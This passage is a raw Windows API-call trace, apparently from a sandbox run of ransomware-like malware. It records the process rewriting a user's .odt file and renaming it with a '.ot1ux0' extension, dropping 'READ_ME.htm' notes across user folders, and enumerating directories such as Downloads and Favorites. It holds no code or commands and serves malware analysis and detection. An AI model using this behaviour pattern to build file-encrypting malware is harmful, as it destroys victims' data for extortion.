GetFileType (hFile=0x1d0) returned 0x1 [0155.201] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x7d4d [0155.201] ReadFile (in: hFile=0x1d0, lpBuffer=0x28a2470, nNumberOfBytesToRead=0x7d4d, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28a2470*, lpNumberOfBytesRead=0x21d358*=0x7d4d, lpOverlapped=0x0) returned 1 [0155.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt", lpFilePart=0x0) returned 0x47 [0155.222] SetErrorMode (uMode=0x1) returned 0x0 [0155.222] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\nuhsopu3uhtkm.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.238] GetFileType (hFile=0x1d0) returned 0x1 [0155.238] SetErrorMode (uMode=0x0) returned 0x1 [0155.238] GetFileType (hFile=0x1d0) returned 0x1 [0155.238] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a9520*, nNumberOfBytesToWrite=0x7d50, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x29a9520*, lpNumberOfBytesWritten=0x21d3d8*=0x7d50, lpOverlapped=0x0) returned 1 [0155.248] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt", lpFilePart=0x0) returned 0x47 [0155.249] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt.ot1ux0", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt.ot1ux0", lpFilePart=0x0) returned 0x4e [0155.249] SetErrorMode (uMode=0x1) returned 0x0 [0155.249] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\nuhsopu3uhtkm.odt"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61e18a0, ftCreationTime.dwHighDateTime=0x1d8b6ab, ftLastAccessTime.dwLowDateTime=0xe461e980, ftLastAccessTime.dwHighDateTime=0x1d8bdb2, ftLastWriteTime.dwLowDateTime=0x59034260, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7d50)) returned 1 [0155.249] SetErrorMode (uMode=0x0) returned 0x1 [0155.249] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\nuhsopu3uhtkm.odt"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt.ot1ux0" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\nuhsopu3uhtkm.odt.ot1ux0")) returned 1 [0155.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\READ_ME.htm", lpFilePart=0x0) returned 0x41 [0155.251] SetErrorMode (uMode=0x1) returned 0x0 [0155.251] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.256] GetFileType (hFile=0x1d0) returned 0x1 [0155.256] SetErrorMode (uMode=0x0) returned 0x1 [0155.256] GetFileType (hFile=0x1d0) returned 0x1 [0155.256] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b5468*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29b5468*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0155.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0155.258] SetErrorMode (uMode=0x1) returned 0x0 [0155.258] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.259] GetFileType (hFile=0x1d0) returned 0x1 [0155.259] SetErrorMode (uMode=0x0) returned 0x1 [0155.259] GetFileType (hFile=0x1d0) returned 0x1 [0155.259] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b9a08*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29b9a08*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0155.260] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0155.261] SetErrorMode (uMode=0x1) returned 0x0 [0155.261] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.269] GetFileType (hFile=0x1d0) returned 0x1 [0155.269] SetErrorMode (uMode=0x0) returned 0x1 [0155.269] GetFileType (hFile=0x1d0) returned 0x1 [0155.269] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bdf78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29bdf78*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0155.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Downloads", lpFilePart=0x0) returned 0x1c [0155.274] SetErrorMode (uMode=0x1) returned 0x0 [0155.274] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads\\*" (normalized: "c:\\users\\keecfmwgj\\downloads\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0155.275] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.276] SetErrorMode (uMode=0x0) returned 0x1 [0155.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Downloads", lpFilePart=0x0) returned 0x1c [0155.276] SetErrorMode (uMode=0x1) returned 0x0 [0155.276] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads\\*" (normalized: "c:\\users\\keecfmwgj\\downloads\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e833eb0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8365c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0155.277] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.277] SetErrorMode (uMode=0x0) returned 0x1 [0155.277] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Downloads\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Downloads\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0155.278] SetErrorMode (uMode=0x1) returned 0x0 [0155.278] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Downloads\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\downloads\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.278] GetFileType (hFile=0x1d0) returned 0x1 [0155.278] SetErrorMode (uMode=0x0) returned 0x1 [0155.278] GetFileType (hFile=0x1d0) returned 0x1 [0155.279] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c3e90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29c3e90*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0155.279] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites", lpFilePart=0x0) returned 0x1c [0155.280] SetErrorMode (uMode=0x1) returned 0x0 [0155.280] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fe350, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0155.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0155.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0155.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0155.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0155.281] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.281] SetErrorMode (uMode=0x0) returned 0x1 [0155.281] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites", lpFilePart=0x0) returned 0x1c [0155.282] SetErrorMode (uMode=0x1) returned 0x0 [0155.282] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fbc40, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7fe350, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0155.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0155.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0155.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0155.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0155.283] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.283] SetErrorMode (uMode=0x0) returned 0x1 [0155.283] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Links", lpFilePart=0x0) returned 0x22 [0155.283] SetErrorMode (uMode=0x1) returned 0x0 [0155.283] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Links\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d32fba0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0155.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: 